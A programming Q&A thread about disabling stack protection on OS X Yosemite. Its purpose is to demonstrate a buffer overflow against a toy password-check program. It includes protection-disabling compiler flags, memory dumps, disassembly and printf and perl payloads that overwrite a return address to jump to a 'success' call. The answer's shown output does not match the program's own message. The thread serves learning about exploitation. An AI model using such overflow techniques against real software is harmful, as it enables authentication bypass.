Search code examples
cgccosx-yosemiteaslrstack-smash

Stack smashing on OS X Yosemite?


I'm having trouble figuring out how to disable stack protection on OS X 10.10.5 (Yosemite). I've sort of been cobbling together promising gcc flags from various threads online, but as of yet haven't managed to disable the protection. I am currently compiling my program with:

gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -fno-sanitize=address -D_FORTIFY_SOURCE=0 -Wl,-no_pie -o program program.c

But when I try to smash the stack I segfault.

I have tried the same program on Red Hat Enterprise Linux Server 7.2 (Maipo), and after adjusting for memory address differences where appropriate, have had no problems smashing the stack after compiling with:

gcc -g3 -std=c99 -pedantic -Wall -m32 -fno-stack-protector -o program program.c

It's also probably worth noting that, as on most Macs, gcc on my machine is a symlink to clang (Apple LLVM version 7.0.0 (clang-700.0.72)).

How can I disable Yosemite's stack protection?


Additional Details

The dummy program I'm working with is:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int authenticate() {
  char password[10];
  printf("Enter password: ");
  scanf("%s", password);
  return strcmp(password, "1234567890") == 0;
}

void success() {
  printf("Access granted\n");
  exit(0);
}

void failure() {
  printf("Access denied\n");
  exit(1);
}

int main(int argc, char** argv) {
  if (authenticate()) {
    success();
  } else {
    failure();
  }
}

When I run otool -tv program, I note the following:

The success routine to which I want to jump is at address 0x00001e70.

The instruction to which we would normally return after authenticate is at address 0x00001efe.

When I run gdb after entering the dummy password "xxxxxxxxxx" and inspecting the buffer with x/30xb &password, I observe:

0xbffffc32: 0x78    0x78    0x78    0x78    0x78    0x78    0x78    0x78
0xbffffc3a: 0x78    0x78    0x00    0x00    0x00    0x00    0x00    0x00
0xbffffc42: 0x00    0x00    0xfc    0xfc    0xff    0xbf    0x68    0xfc
0xbffffc4a: 0xff    0xbf    0xfe    0x1e    0x00    0x00

We want to overwrite the 27th 0xfe byte to be 0x70.

When I try to smash the stack as follows:

printf "xxxxxxxxxxxxxxxxxxxxxxxxxx\x70" | ./program # 26 bytes of junk, followed by 0x70

I get a segfault.


Solution

  • The OS X ABI requires that system calls (such as the one to exit in success) be issued from a 16-byte-aligned stack. When you jump into success, you get off by 4 bytes because it doesn't have another return address sitting on the stack (ie, you're supposed to call the function)

    The fix for this is to jump to a call to success in a higher stack frame. Jumping to the one in main works for me:

    (gdb) disas main
    Dump of assembler code for function main:
       0x00001ed0 <+0>: push   %ebp
       0x00001ed1 <+1>: mov    %esp,%ebp
       0x00001ed3 <+3>: sub    $0x18,%esp
       0x00001ed6 <+6>: mov    0xc(%ebp),%eax
       0x00001ed9 <+9>: mov    0x8(%ebp),%ecx
       0x00001edc <+12>:   movl   $0x0,-0x4(%ebp)
       0x00001ee3 <+19>:   mov    %ecx,-0x8(%ebp)
       0x00001ee6 <+22>:   mov    %eax,-0xc(%ebp)
       0x00001ee9 <+25>:   call   0x1df0 <authenticate>
       0x00001eee <+30>:   cmp    $0x0,%eax
       0x00001ef1 <+33>:   je     0x1f01 <main+49>
    
       0x00001ef7 <+39>:   call   0x1e60 <success>
    
       0x00001efc <+44>:   jmp    0x1f06 <main+54>
       0x00001f01 <+49>:   call   0x1e90 <failure>
       0x00001f06 <+54>:   mov    -0x4(%ebp),%eax
       0x00001f09 <+57>:   add    $0x18,%esp
       0x00001f0c <+60>:   pop    %ebp
       0x00001f0d <+61>:   ret    
    

    Then return to the call 0x1ef7 instruction:

    $ perl -e 'print "P"x26, "\xf7\x1e"' | ./stack
    Enter password: Root access has been granted
    $